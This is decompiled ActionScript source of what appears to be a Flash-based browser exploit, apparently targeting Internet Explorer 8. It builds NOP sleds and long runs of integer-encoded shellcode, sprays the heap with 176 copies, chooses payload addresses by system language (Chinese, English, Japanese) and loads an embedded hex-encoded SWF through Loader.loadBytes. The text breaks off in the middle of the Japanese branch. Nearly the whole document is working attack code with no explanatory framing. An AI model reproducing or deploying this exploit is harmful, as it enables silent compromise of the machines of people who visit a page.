import flash.utils. * ;&lt;br /&gt;&lt;br /&gt; dynamic public class MainTimeline extends MovieClip {&lt;br /&gt;   public&lt;br /&gt;   var s: Object;&lt;br /&gt;   public&lt;br /&gt;   var s2: Object;&lt;br /&gt;   public&lt;br /&gt;   var s3: Object;&lt;br /&gt;   public&lt;br /&gt;   var a: Object;&lt;br /&gt;   public&lt;br /&gt;   var t: Object;&lt;br /&gt;   public&lt;br /&gt;   var i: Object;&lt;br /&gt;   public&lt;br /&gt;   var r: ByteArray;&lt;br /&gt;   public&lt;br /&gt;   var ldr: Loader;&lt;br /&gt;&lt;br /&gt;   public&lt;br /&gt;&lt;br /&gt;   function MainTimeline() {&lt;br /&gt;     addFrameScript(0, this.frame1);&lt;br /&gt;     return;&lt;br /&gt;   } // end function&lt;br /&gt;   public&lt;br /&gt;&lt;br /&gt;   function hexToBin(param1: String): ByteArray {&lt;br /&gt;     var _loc_2: String;&lt;br /&gt;     var _loc_3: * = new ByteArray();&lt;br /&gt;     var _loc_4: * = param1.length;&lt;br /&gt;     var _loc_5: uint;&lt;br /&gt;     _loc_3.endian = Endian.LITTLE_ENDIAN;&lt;br /&gt;     while (_loc_5 &amp;lt; _loc_4) {         // label         _loc_2 = param1.charAt(_loc_5) + param1.charAt(_loc_5 + 1);         _loc_3.writeByte(parseInt(_loc_2, 16));         _loc_5 = _loc_5 + 2;       } // end while       return _loc_3;     } // end function      function frame1() {       this.s = new ByteArray();       this.s3 = new ByteArray();       this.a = new Array();       this.t = "4357530acc050000789c4d546d6c5365143eb7bdedfb765d29dd189dac2053f00345e3171f71b062bbeec3b63377b0a026c265bddd6decdaa6f7d61698a82466fb619610e20549f8322144134d10158d261287c9f8e10f31460da2268b4663628cc1080c37cf79efb5f5fe787bee799ef39cf39c7b7b6be0d901103c01d02e413c047875bb4f7b00ac66f0007b757abc95cde1b1a8e5a80b92321eed30d9063ed8028f410ce2d00309e8853ee887935321c86859b592374102790db8e0b0643501db7ebebf8f9dee7effdc4e2c0778cd85e4a885ea4bcd923fb90b93cd3021813b8c8728f84def4cb32587be3f6317d4f3076eae5bc60aee8b3fd585dac00a6033bcdce2e4947c7d216c794196641797d27d5478e58594ca6e7bf19d63762179f985981f00a13cf1e05af6f7879f5fb251e50ed494ddb2c44812455c0a0d3b75e2c9bd62d856a05b37627e0a16868a5ce49bc062206a384448377ee3be28fbc8f3c527b6aee502ee567aa966e781c3f78b1abf6d1c21592260f5feb9b8007cf004b90ee3901bc5906c15bb8b5dbb7ced6b47cc0f8d016564f52d10cbef0ead67576ffe3e53dfd0d579127793f8db7cc31a212ec366cb07dc63afcc1bed425e45740926d73ecefe387be95dbb3e828e3863190c0785a5b472bb8b9d79ebbb7f6c3ca5842329929ed9f65945487b40096f8ae0749c739fbd8c26bc47ebfe3476d92076373d7f3ce8d8b73a81373b3c1eb08345dcc3838dd043d32d0cd2c4ff3149e4e5edaf3c22441860034c4cac1ed79d04f55b3cc5c99eeb6e580e582bbcca12e7446dffe1dbbdce3353c2e42baf5f8cb28387d6398f6a105b9ec77714919335efbdec9989eb5fda4857b48bb29b8efcf928fb540b5c70f69452447afad6e7d7b3ae1ff7cfd4d3d4ed67ffb96d8e5d5c97581972073ede5763efc55e9a70debab030317be5e80ac10d805dfce6a97d03ce7fc4d9f5d9a737ef1219898a52b6813722dea7d8f0ecf553f5073f2b59a6ed9a87788bbdb85646205fc2dbf8d2c682c38db0bd11ded20897d9328b7907eff05218c0cb86237cb977aed3171df8a625e564b0f785791ab4f9af749b183428dead5f3b26bb593632d92dbe2571697295b40286cc72ae300a79ad306aea30a2abe55831a36d31215b2e8ec59c5b91c7dc886a68b055ab998962794c35c1c8ed416c47b65280e16733157d54d1c6f46cf501a352ae96abe3865eff1e8d6ae610917b3355fd7f70b55aa69b68f51e6c8e1cd2eea9995ac1843d55a3fa90cd74c0b8ba9b7e12c58299cc19a63d484ecb6720a5d2ec654d35b59eb192b93b557c2ea7c5f2b912987ace807e43a9140a64d3d0cc14f94916d5ccb05a3684ac56a26ab4b612560a8771d481116c932b5490db820b0d8175a734a75fdef8d556e3e160227a2c4bd9d20d88e2caff0522695d54";       this.i = 0;       while (this.i &amp;lt; 1024) {         // label         this.s3.writeByte(13);         var _loc_1: String;         _loc_1.i = this.i++;       } // end while       this.i = 0;       while (this.i &amp;lt; 1023) {         // label         this.s.writeBytes(this.s3, 0, this.s3.length);         var _loc_1: String;         _loc_1.i = this.i++;       } // end while       this.s.writeInt(2425393296);       this.s.writeInt(2425393296);       this.s.writeInt(3326443264);       this.s.writeInt(1620086928);       this.s.writeInt(3943717707);       this.s.writeInt(868837049);       this.s.writeInt(2231533620);       this.s.writeInt(199418618);       this.s.writeInt(3943033067);       this.s.writeInt(4294967051);       this.s.writeInt(3118523106);       this.s.writeInt(3184599686);       this.s.writeInt(1137894114);       this.s.writeInt(3798573806);       this.s.writeInt(1772287593);       this.s.writeInt(3798590057);       this.s.writeInt(2331142421);       this.s.writeInt(2296888074);       this.s.writeInt(350479074);       this.s.writeInt(1912609418);       this.s.writeInt(3520127714);       this.s.writeInt(2327286151);       this.s.writeInt(2427873764);       this.s.writeInt(179692514);       this.s.writeInt(3798534792);       this.s.writeInt(3820685877);       this.s.writeInt(3823297024);       this.s.writeInt(462065361);       this.s.writeInt(3504507537);       this.s.writeInt(2324139702);       this.s.writeInt(1776552667);       this.s.writeInt(3823297129);       this.s.writeInt(176743355);       this.s.writeInt(173794274);       this.s.writeInt(3791657833);       this.s.writeInt(912330422);       this.s.writeInt(1763576316);       this.s.writeInt(3138065634);       this.s.writeInt(3806509067);       this.s.writeInt(534962914);       this.s.writeInt(3112755848);       this.s.writeInt(3803426993);       this.s.writeInt(2296520116);       this.s.writeInt(4195031010);       this.s.writeInt(3806464575);       this.s.writeInt(488447361);       this.s.writeInt(2407976071);       this.s.writeInt(2592588493);       this.s.writeInt(2713887917);       this.s.writeInt(2965556656);       this.s.writeInt(3267413943);       this.s.writeInt(2980556978);       this.s.writeInt(2964169899);       this.s.writeInt(2930231230);       this.s.writeInt(2928509315);       this.s.writeInt(2395124103);       this.s.writeInt(2526448524);       this.s.writeInt(2240921270);       this.s.writeInt(2274333325);       this.s.writeInt(2424541339);       this.s.writeInt(3266022550);       this.s.writeInt(2274397319);       this.s.writeInt(2529338507);       this.s.writeInt(2391249342);       this.s.writeInt(3233990539);       this.s.writeInt(3266030786);       this.s.writeInt(3398207381);       this.s.writeInt(2442431372);       this.s.writeInt(2278083720);       this.s.writeInt(2463157186);       this.s.writeInt(2796405450);       this.s.writeInt(3397488518);       this.s.writeInt(3431438983);       this.s.writeInt(3267415425);       this.s.writeInt(3263596430);       this.s.writeInt(3268252098);       this.s.writeInt(3348531087);       this.s.writeInt(2462563985);       this.s.writeInt(2491517581);       this.s.writeInt(2442579079);       this.s.writeInt(2592588484);       this.s.writeInt(3301081485);       this.s.writeInt(2459681472);       this.s.writeInt(3347824834);       this.s.writeInt(3348531087);       this.s.writeInt(2462563985);       this.s.writeInt(2491517581);       this.s.writeInt(2442579079);       this.s.writeInt(2592588493);       this.s.writeInt(2613232836);       this.s.writeInt(3263270790);       this.s.writeInt(3431438983);       this.s.writeInt(3268248002);       this.s.writeInt(2442560400);       this.s.writeInt(2529347478);       this.s.writeInt(2274333383);       this.s.writeInt(3197211777);       this.s.writeInt(2324533654);       this.s.writeInt(3431438983);       this.s.writeInt(3234581474);       this.s.writeInt(182918429);       this.s.writeInt(495030150);       this.s.writeInt(3431438983);       this.s.writeInt(3792313372);       this.s.writeInt(488476050);       this.s.writeInt(2274157153);       this.s.writeInt(646349673);       this.s.writeInt(1030350534);       this.s.writeInt(1629941345);       this.s.writeInt(183835906);       this.s.writeInt(1658456726);       this.s.writeInt(3898792459);       this.s.writeInt(2531746522);       this.s.writeInt(160953187);       this.s.writeInt(2598859378);       this.s.writeInt(1920112362);       this.s.writeInt(1763555177);       this.s.writeInt(242197223);       this.s.writeInt(486673117);       this.s.writeInt(3806519841);       this.s.writeInt(1658456726);       this.s.writeInt(3898792459);       this.s.writeInt(2531746522);       this.s.writeInt(160953187);       this.s.writeInt(2598859378);       this.s.writeInt(1920112130);       this.s.writeInt(2330650850);       this.s.writeInt(3798967015);       this.s.writeInt(486673141);       this.s.writeInt(3806519841);       this.s.writeInt(183755490);       this.s.writeInt(3797611491);       this.s.writeInt(3865190638);       this.s.writeInt(3792298170);       this.s.writeInt(554310429);       this.s.writeInt(488487204);       this.s.writeInt(3847908285);       this.s.writeInt(3817088421);       this.s.writeInt(3877437985);       this.s.writeInt(2976464561);       this.s.writeInt(2292353762);       this.s.writeInt(4074955445);       this.s.writeInt(1772416522);       this.s.writeInt(2585599261);       this.s.writeInt(3122770868);       this.s.writeInt(1771560553);       this.s.writeInt(2529991393);       this.s.writeInt(397699476);       this.s.writeInt(3269531601);       this.s.writeInt(732668751);       this.s.writeInt(3777483065);       this.s.writeInt(3982291672);       this.s.writeInt(882305571);       this.s.writeInt(702931256);       this.s.writeInt(2718503897);       this.s.writeInt(4254533052);       this.s.writeInt(1773979361);       this.s.writeInt(1065642478);       this.s.writeInt(2842279166);       this.s.writeInt(3779029478);       this.s.writeInt(1776363337);       this.s.writeInt(3166380298);       this.s.writeInt(1109335325);       this.s.writeInt(3499521006);       this.s.writeInt(1732070745);       this.s.writeInt(2171286445);       this.s.writeInt(4232480269);       this.s.writeInt(3045388061);       this.s.writeInt(2062086682);       this.s.writeInt(3123304899);       this.s.writeInt(3806520034);       trace(this.s.length);       this.i = 0;       while (this.i &amp;lt; 176) {         // label         this.s2 = new ByteArray();         this.s2.writeBytes(this.s, 0, this.s.length);         trace(this.s2.length);         this.a.push(this.s2);         var _loc_1: String;         _loc_1.i = this.i++;       } // end while       this.r = this.hexToBin(this.t);       this.ldr = new Loader();       this.ldr.loadBytes(this.r);       stop();       return;     } // end function   } }  //============================================== package ie8_fla {   import flash.display. * ;   import flash.system. * ;   import flash.utils. * ;    dynamic public class MainTimeline extends MovieClip {     public     var s: Object;     public     var s2: Object;     public     var s3: Object;     public     var a: Object;     public     var i: Object;     public     var j: Object;     public     var sc_len: uint;     public     var t: Object;     public     var r_cn: ByteArray;     public     var ldr_cn: Loader;     public     var r: ByteArray;     public     var ldr: Loader;     public     var r_jp: ByteArray;     public     var ldr_jp: Loader;      public      function MainTimeline() {       addFrameScript(0, this.frame1);       return;     } // end function     public      function hexToBin(param1: String): ByteArray {       var _loc_2: String;       var _loc_3: * = new ByteArray();       var _loc_4: * = param1.length;       var _loc_5: uint;       _loc_3.endian = Endian.LITTLE_ENDIAN;       while (_loc_5 &amp;lt; _loc_4) {         // label         _loc_2 = param1.charAt(_loc_5) + param1.charAt(_loc_5 + 1);         _loc_3.writeByte(parseInt(_loc_2, 16));         _loc_5 = _loc_5 + 2;       } // end while       return _loc_3;     } // end function      function frame1() {       this.s = new ByteArray();       this.s2 = new ByteArray();       this.a = new Array();       this.sc_len = 0;       this.t = "4357530a22060000789c5d547d4c5b55143faf5ff742617c38e806ad01743a9d0a861931822b520a685bb4632c6e0a2bf4d136a52de97bf5019b1fdb7423d982c69017e6321d31e8a2c9dcdc8c2133e81fc62d0edd747f90cc8f3847164de6b268a2532778cfbd0f4abc49efbbeffcceef9cdff9ddf40d82b51ba0e030c02a093c45c0d606f3bf56003d0fac40761fed71910beff7b856141f32c12716b695c0483150688447a1093cd00c5e688156182d809eb41c8a830496bbc1045b253d17c8e5df6ab61167feb937b73126c00113dc09eebd12981d6ce319d393431269dcb2675e64f0f801eca2e7b3526c99f94e91fbd98243b78145b29828e77eb3beaa9adc7bf6fbf3821b68d599e44bb7556bbe1e16c803d4fc25128f01226dc1da4e8ee440f00e0cccfc5852c30385d8cd62b648049bb1f2a620e266f682cf9fbf3af30ccfcb05bb4e802751400527eabeee20bed3f7bd27143875135033e736406725e7d8a1850fcc208bf40442c726bbda38b412705a071358c5fbcc1df921c08122d0ed9055636119be05b6c10256313f82adafa4bc8f91d5af4e7d285aeb3940adc22a9b1bf1b70267b793a78faf7f49e0f58cbe9f6b3e54fdd7ada4e7bcedd2a266029490303bb6a3887307eb860d979c7eccf78fbf11271f444263223fe870fa8318df3f3ef61c5122f15dc6cd3560d0f7cbcb0f9213a5c367168bdb81529a232ccb6de006d9034c4b1de89540f30c80e68bc30a6aa505d9a315055d898cdfce05497895ed0b5c654769a48a07f3f9e48b75b8867f4edfe32296ba0b3f2dbb94c2518ade98ee824a6ec2e074d70b646fe3c48b4bee71ef2c12a541072678bb6e6c225313e45d91d0ce5aff09dcd88b3b4ed59235bb3d3386b16ed4f3c7ac678d71a7f5ee7a748805eda33b938695f54ea436bd32be997c3c103922a8c2c79b0f1cdd40cc5f3cf9a9e1a313a9f315659b8cf9fc4111fafd6a69cca826885b3e3fdc4a261feafe6891e8c7b4e877279fe26936bc2accdb79592b26cf3b477e5dde3530672e22c7cb6f5e5b228bb9e33766c2648cd41e5cfac75e97f43dc21d5a448b85d1b71004e94a5a424bb3d7e5c81e57658fabb3c73251a69096d35cdbd6cdd77bf12760272db7e5196b3162fd7f84a9d93e8f2a13b3b38f93d7d6ae3d695c1f0b35ee7b3b4dde611bff543d2cbd5e215dad99ac993bd57c6d7a6a6862ddb71777b58fb824176c54d3b16404fae564448d426f34946e4a85e54615fad2a94493f1cae32cd61b52e40ae89007556f2a9d08a9a0c48619d8dd974942673c9c8946827222daa7ddaf64d25a5adba1448dcf60445637626a4b588b2e03352d8d2f6e6d1debcd72b072f3a02a275518d614ad56641aa02734840f6f2aa9fa628a2a64c4e4fe30f843289d3552e5e6c4803ae44f3d1b939bfa6303a046630ab429c14c3289532ab2eac7717ca950b833945678597900d9ac6a2c9991a10267040f2b05be62e670d9dfe0669efe07c8b77774";       trace("if");       if (Capabilities.language.toLowerCase() == "zh-cn") {         this.s.writeInt(2425393296);         this.s.writeInt(2425393296);         this.s.writeInt(202150032);         this.s.writeInt(3943717707);         this.s.writeInt(868837049);         this.s.writeInt(1459781684);         this.s.writeInt(199418618);         this.s.writeInt(3943033067);         this.s.writeInt(4294967051);         this.s.writeInt(3554730722);         this.s.writeInt(3184599686);         this.s.writeInt(1137894114);         this.s.writeInt(3798573806);         this.s.writeInt(1772287593);         this.s.writeInt(3798590057);         this.s.writeInt(2331142421);         this.s.writeInt(2296888074);         this.s.writeInt(786686690);         this.s.writeInt(1912609418);         this.s.writeInt(2396115170);         this.s.writeInt(2324793991);         this.s.writeInt(2394319332);         this.s.writeInt(181396450);         this.s.writeInt(3798534792);         this.s.writeInt(3820685903);         this.s.writeInt(3823297024);         this.s.writeInt(459880033);         this.s.writeInt(246835486);         this.s.writeInt(167557899);         this.s.writeInt(350413538);         this.s.writeInt(3087736802);         this.s.writeInt(3806509448);         this.s.writeInt(3800621747);         this.s.writeInt(2964424930);         this.s.writeInt(498398731);         this.s.writeInt(400745186);         this.s.writeInt(171908381);         this.s.writeInt(495030150);         this.s.writeInt(3431438983);         this.s.writeInt(3268256194);         this.s.writeInt(2762846402);         this.s.writeInt(3450913472);         this.s.writeInt(3350704551);         this.s.writeInt(2964500653);         this.s.writeInt(2762714791);         this.s.writeInt(3351162509);         this.s.writeInt(2172882626);         this.s.writeInt(2978453142);         this.s.writeInt(2341242257);         this.s.writeInt(3199633295);         this.s.writeInt(2458751107);         this.s.writeInt(2426127019);         this.s.writeInt(2358675344);         this.s.writeInt(2357696194);         this.s.writeInt(2760609415);         this.s.writeInt(2445197506);         this.s.writeInt(3347825323);         this.s.writeInt(2898446988);         this.s.writeInt(2274726292);         this.s.writeInt(2341242824);         this.s.writeInt(3431502544);         this.s.writeInt(3418531501);         this.s.writeInt(3268070017);         this.s.writeInt(2407976071);         this.s.writeInt(2592588480);         this.s.writeInt(3447833222);         this.s.writeInt(2274280141);         this.s.writeInt(2445461398);         this.s.writeInt(2274333383);         this.s.writeInt(3197211777);         this.s.writeInt(2324533654);         this.s.writeInt(3431438983);         this.s.writeInt(3267675330);         this.s.writeInt(2173538971);         this.s.writeInt(3267413899);         this.s.writeInt(3233990550);         this.s.writeInt(2274333383);         this.s.writeInt(3197211777);         this.s.writeInt(2324533654);         this.s.writeInt(3431438983);         this.s.writeInt(3268254658);         this.s.writeInt(3301229185);         this.s.writeInt(2407976071);         this.s.writeInt(2592588493);         this.s.writeInt(2177012118);         this.s.writeInt(2207291074);         this.s.writeInt(3348531087);         this.s.writeInt(2462563985);         this.s.writeInt(2491517581);         this.s.writeInt(2442579079);         this.s.writeInt(2592587979);         this.s.writeInt(3420588775);         this.s.writeInt(488447361);         this.s.writeInt(2407976071);         this.s.writeInt(2592596490);         this.s.writeInt(471604509);         this.s.writeInt(2375190412);         this.s.writeInt(3800621597);         this.s.writeInt(3035259610);         this.s.writeInt(177662050);         this.s.writeInt(3658192615);         this.s.writeInt(1658456471);         this.s.writeInt(4083391207);         this.s.writeInt(1920103026);         this.s.writeInt(2531944733);         this.s.writeInt(3077115503);         this.s.writeInt(2733055234);         this.s.writeInt(182313698);         this.s.writeInt(3793838810);         this.s.writeInt(177662050);         this.s.writeInt(3658192615);         this.s.writeInt(1658456471);         this.s.writeInt(4083391207);         this.s.writeInt(1920103026);         this.s.writeInt(2516749034);         this.s.writeInt(3907183215);         this.s.writeInt(2733055234);         this.s.writeInt(183886562);         this.s.writeInt(3793816307);         this.s.writeInt(3806519898);         this.s.writeInt(4091799138);         this.s.writeInt(552526345);         this.s.writeInt(3770294538);         this.s.writeInt(454892829);         this.s.writeInt(3106202970);         this.s.writeInt(1807606660);         this.s.writeInt(631629597);         this.s.writeInt(35762537);         this.s.writeInt(1051822242);         this.s.writeInt(2330129122);         this.s.writeInt(3803539876);         this.s.writeInt(3993672221);         this.s.writeInt(488487457);         this.s.writeInt(3014945175);         this.s.writeInt(3731461836);         this.s.writeInt(2598442932);         this.s.writeInt(1771356897);         this.s.writeInt(399584171);         this.s.writeInt(2739921191);         this.s.writeInt(3510234460);         this.s.writeInt(4074255510);         this.s.writeInt(3928173029);         this.s.writeInt(3778585097);         this.s.writeInt(333053335);         this.s.writeInt(96233916);         this.s.writeInt(3336650628);         this.s.writeInt(1777248617);         this.s.writeInt(3170820415);         this.s.writeInt(1776708065);         this.s.writeInt(659143867);         this.s.writeInt(554313759);         this.s.writeInt(488493206);         this.s.writeInt(1945003837);         this.s.writeInt(1297711467);         this.s.writeInt(867040326);         this.s.writeInt(2249045380);         this.s.writeInt(4011702825);         this.s.writeInt(3653493474);         this.s.writeInt(3806461952);         this.sc_len = this.s.length;         trace("cn");         trace(this.s.length);         this.j = 3084 - this.sc_len;         this.i = 0;         while (this.i &amp;lt; this.j) {           // label           this.s.writeByte(144);           var _loc_1: String;           _loc_1.i = this.i++;         } // end while         this.s.endian = Endian.LITTLE_ENDIAN;         this.s.writeInt(2008988467);         this.s.writeInt(3435973836);         this.s.writeInt(2008964821);         this.s.writeInt(3435973836);         this.s.writeInt(2008944920);         this.s.writeInt(2009023683);         this.s.writeInt(3435973836);         this.s.writeInt(2009016856);         this.s.writeInt(202113024);         this.s.writeInt(202113024);         this.s.writeInt(8192);         this.s.writeInt(64);         this.s.writeInt(202116560);         this.s.writeInt(0);         this.s.writeInt(202116164);         this.s.writeInt(0);         this.s.writeInt(0);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.i = 0;         while (this.i &amp;lt; this.sc_len) {           // label           this.s.writeInt(1676697940);           var _loc_1: String;           _loc_1.i = this.i++;         } // end while         this.s.writeInt(1676697940);         this.s.writeInt(1676697940);         this.s.writeInt(1676680900);         this.s.endian = Endian.BIG_ENDIAN;         this.j = 65536 - this.s.length;         this.i = 0;         while (this.i &amp;lt; this.j / 4) {           // label           this.s.writeInt(305419896);           var _loc_1: String;           _loc_1.i = this.i++;         } // end while         this.i = 0;         while (this.i &amp;lt; 16) {           // label           this.s2.writeBytes(this.s, 0, this.s.length);           var _loc_1: String;           _loc_1.i = this.i++;         } // end while         trace(this.s2.length);         this.i = 0;         while (this.i &amp;lt; 176) {           // label           this.s3 = new ByteArray();           this.s3.writeBytes(this.s2, 0, this.s2.length);           trace(this.s3.length);           this.a.push(this.s3);           var _loc_1: String;           _loc_1.i = this.i++;         } // end while         this.r_cn = this.hexToBin(this.t);         this.ldr_cn = new Loader();         this.ldr_cn.loadBytes(this.r_cn);       } // end if       if (Capabilities.language.toLowerCase() == "en") {         this.s.writeInt(2425393296);         this.s.writeInt(2425393296);         this.s.writeInt(202150032);         this.s.writeInt(3943717707);         this.s.writeInt(868837049);         this.s.writeInt(1459781684);         this.s.writeInt(199418618);         this.s.writeInt(3943033067);         this.s.writeInt(4294967051);         this.s.writeInt(3554730722);         this.s.writeInt(3184599686);         this.s.writeInt(1137894114);         this.s.writeInt(3798573806);         this.s.writeInt(1772287593);         this.s.writeInt(3798590057);         this.s.writeInt(2331142421);         this.s.writeInt(2296888074);         this.s.writeInt(786686690);         this.s.writeInt(1912609418);         this.s.writeInt(2396115170);         this.s.writeInt(2324793991);         this.s.writeInt(2394319332);         this.s.writeInt(181396450);         this.s.writeInt(3798534792);         this.s.writeInt(3820685903);         this.s.writeInt(3823297024);         this.s.writeInt(459880033);         this.s.writeInt(246835486);         this.s.writeInt(167557899);         this.s.writeInt(350413538);         this.s.writeInt(3087736802);         this.s.writeInt(3806509448);         this.s.writeInt(3800621747);         this.s.writeInt(2964424930);         this.s.writeInt(498398731);         this.s.writeInt(400745186);         this.s.writeInt(171908381);         this.s.writeInt(495030150);         this.s.writeInt(3431438983);         this.s.writeInt(3268256194);         this.s.writeInt(2762846402);         this.s.writeInt(3450913472);         this.s.writeInt(3350704551);         this.s.writeInt(2964500653);         this.s.writeInt(2762714791);         this.s.writeInt(3351162509);         this.s.writeInt(2172882626);         this.s.writeInt(2978453142);         this.s.writeInt(2341242257);         this.s.writeInt(3199633295);         this.s.writeInt(2458751107);         this.s.writeInt(2426127019);         this.s.writeInt(2358675344);         this.s.writeInt(2357696194);         this.s.writeInt(2760609415);         this.s.writeInt(2445197506);         this.s.writeInt(3347825323);         this.s.writeInt(2898446988);         this.s.writeInt(2274726292);         this.s.writeInt(2341242824);         this.s.writeInt(3431502544);         this.s.writeInt(3418531501);         this.s.writeInt(3268070017);         this.s.writeInt(2407976071);         this.s.writeInt(2592588480);         this.s.writeInt(3447833222);         this.s.writeInt(2274280141);         this.s.writeInt(2445461398);         this.s.writeInt(2274333383);         this.s.writeInt(3197211777);         this.s.writeInt(2324533654);         this.s.writeInt(3431438983);         this.s.writeInt(3267675330);         this.s.writeInt(2173538971);         this.s.writeInt(3267413899);         this.s.writeInt(3233990550);         this.s.writeInt(2274333383);         this.s.writeInt(3197211777);         this.s.writeInt(2324533654);         this.s.writeInt(3431438983);         this.s.writeInt(3268254658);         this.s.writeInt(3301229185);         this.s.writeInt(2407976071);         this.s.writeInt(2592588493);         this.s.writeInt(2177012118);         this.s.writeInt(2207291074);         this.s.writeInt(3348531087);         this.s.writeInt(2462563985);         this.s.writeInt(2491517581);         this.s.writeInt(2442579079);         this.s.writeInt(2592587979);         this.s.writeInt(3420588775);         this.s.writeInt(488447361);         this.s.writeInt(2407976071);         this.s.writeInt(2592596490);         this.s.writeInt(471604509);         this.s.writeInt(2375190412);         this.s.writeInt(3800621597);         this.s.writeInt(3035259610);         this.s.writeInt(177662050);         this.s.writeInt(3658192615);         this.s.writeInt(1658456471);         this.s.writeInt(4083391207);         this.s.writeInt(1920103026);         this.s.writeInt(2531944733);         this.s.writeInt(3077115503);         this.s.writeInt(2733055234);         this.s.writeInt(182313698);         this.s.writeInt(3793838810);         this.s.writeInt(177662050);         this.s.writeInt(3658192615);         this.s.writeInt(1658456471);         this.s.writeInt(4083391207);         this.s.writeInt(1920103026);         this.s.writeInt(2516749034);         this.s.writeInt(3907183215);         this.s.writeInt(2733055234);         this.s.writeInt(183886562);         this.s.writeInt(3793816307);         this.s.writeInt(3806519898);         this.s.writeInt(4091799138);         this.s.writeInt(552526345);         this.s.writeInt(3770294538);         this.s.writeInt(454892829);         this.s.writeInt(3106202970);         this.s.writeInt(1807606660);         this.s.writeInt(631629597);         this.s.writeInt(35762537);         this.s.writeInt(1051822242);         this.s.writeInt(2330129122);         this.s.writeInt(3803539876);         this.s.writeInt(3993672221);         this.s.writeInt(488487457);         this.s.writeInt(3014945175);         this.s.writeInt(3731461836);         this.s.writeInt(2598442932);         this.s.writeInt(1771356897);         this.s.writeInt(399584171);         this.s.writeInt(2739921191);         this.s.writeInt(3510234460);         this.s.writeInt(4074255510);         this.s.writeInt(3928173029);         this.s.writeInt(3778585097);         this.s.writeInt(333053335);         this.s.writeInt(96233916);         this.s.writeInt(3336650628);         this.s.writeInt(1777248617);         this.s.writeInt(3170820415);         this.s.writeInt(1776708065);         this.s.writeInt(659143867);         this.s.writeInt(554313759);         this.s.writeInt(488493206);         this.s.writeInt(1945003837);         this.s.writeInt(1297711467);         this.s.writeInt(867040326);         this.s.writeInt(2249045380);         this.s.writeInt(4011702825);         this.s.writeInt(3653493474);         this.s.writeInt(3806461952);         this.sc_len = this.s.length;         trace("en");         trace(this.s.length);         this.j = 3084 - this.sc_len;         this.i = 0;         while (this.i &amp;lt; this.j) {           // label           this.s.writeByte(144);           var _loc_1: String;           _loc_1.i = this.i++;         } // end while         this.s.endian = Endian.LITTLE_ENDIAN;         this.s.writeInt(1995123259);         this.s.writeInt(3435973836);         this.s.writeInt(1995172943);         this.s.writeInt(3435973836);         this.s.writeInt(2009141528);         this.s.writeInt(2009220291);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(2009213464);         this.s.writeInt(202113024);         this.s.writeInt(202113024);         this.s.writeInt(8192);         this.s.writeInt(64);         this.s.writeInt(202116560);         this.s.writeInt(0);         this.s.writeInt(202116164);         this.s.writeInt(0);         this.s.writeInt(0);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.s.writeInt(3435973836);         this.i = 0;         while (this.i &amp;lt; this.sc_len) {           // label           this.s.writeInt(1676697940);           var _loc_1: String;           _loc_1.i = this.i++;         } // end while         this.s.writeInt(1676697940);         this.s.writeInt(1676697940);         this.s.writeInt(1676680900);         this.s.endian = Endian.BIG_ENDIAN;         this.j = 65536 - this.s.length;         this.i = 0;         while (this.i &amp;lt; this.j / 4) {           // label           this.s.writeInt(305419896);           var _loc_1: String;           _loc_1.i = this.i++;         } // end while         this.i = 0;         while (this.i &amp;lt; 16) {           // label           this.s2.writeBytes(this.s, 0, this.s.length);           var _loc_1: String;           _loc_1.i = this.i++;         } // end while         trace(this.s2.length);         this.i = 0;         while (this.i &amp;lt; 176) {           // label           this.s3 = new ByteArray();           this.s3.writeBytes(this.s2, 0, this.s2.length);           trace(this.s3.length);           this.a.push(this.s3);           var _loc_1: String;           _loc_1.i = this.i++;         } // end while         this.r = this.hexToBin(this.t);         this.ldr = new Loader();         this.ldr.loadBytes(this.r);       } // end if       if (Capabilities.language.toLowerCase() == "ja") {         this.s.writeInt(2425393296);         this.s.writeInt(2425393296);         this.s.writeInt(202150032);         this.s.writeInt(3943717707);         this.s.writeInt(868837049);         this.s.writeInt(1459781684);         this.s.writeInt(199418618);         this.s.writeInt(3943033067);         this.s.writeInt(4294967051);         this.s.writeInt(3554730722);         this.s.writeInt(3184599686);         this.s.writeInt(1137894114);         this.s.writeInt(3798573806);         this.s.writeInt(1772287593);         this.s.writeInt(3798590057);         this.s.writeInt(2331142421);         this.s.writeInt(2296888074);         this.s.writeInt(786686690);         this.s.writeInt(1912609418);         this.s.writeInt(2396115170);         this.s.writeInt(2324793991);         this.s.writeInt(2394319332);         this.s.writeInt(181396450);         this.s.writeInt(3798534792);         this.s.writeInt(3820685903);         this.s.writeInt(3823297024);         this.s.writeInt(459880033);         this.s.writeInt(246835486);         this.s.writeInt(167557899);         this.s.writeInt(350413538);         this.s.writeInt(3087736802);         this.s.writeInt(3806509448);         this.s.writeInt(3800621747);         this.s.writeInt(2964424930);         this.s.writeInt(498398731);         this.s.writeInt(400745186);         this.s.writeInt(171908381);         this.s.writeInt(495030150);         this.s.writeInt(3431438983);         this.s.writeInt(3268256194);         this.s.writeInt(2762846402);         this.s.writeInt(3450913472);         this.s.writeInt(3350704551);         this.s.writeInt(2964500653);         this.s.writeInt(2762714791);         this.s.writeInt(3351162509);         this.s.writeInt(2172882626);         this.s.writeInt(2978453142);         this.s.writeInt(2341242257);         this.s.writeInt(3199633295);         this.s.writeInt(2458751107);         this.s.writeInt(2426127019);         this.s.writeInt(2358675344);         this.s.writeInt(2357696194);         this.s.writeInt(2760609415);         this.s.writeInt(2445197506);         this.s.writeInt(3347825323);         this.s.writeInt(2898446988);         this.s.writeInt(2274726292);         this.s.writeInt(2341242824);         this.s.writeInt(3431502544);         this.s.writeInt(3418531501);         this.s.writeInt(3268070017);         this.s.writeInt(2407976071);         this.s.writeInt(2592588480);         this.s.writeInt(3447833222);         this.s.writeInt(2274280141);         this.s.writeInt(2445461398);         this.s.writeInt(2274333383);         this.s.writeInt(3197211777);         this.s.writeInt(2324533654);         this.s.writeInt(3431438983);         this.s.writeInt(3267675330);         this.s.writeInt(2173538971);         this.s.writeInt(3267413899);         this.s.writeInt(3233990550);         this.s.writeInt(2274333383);         this.s.writeInt(3197211777);         this.s.writeInt(2324533654);         this.s.writeInt(3431438983);         this.s.writeInt(3268254658);         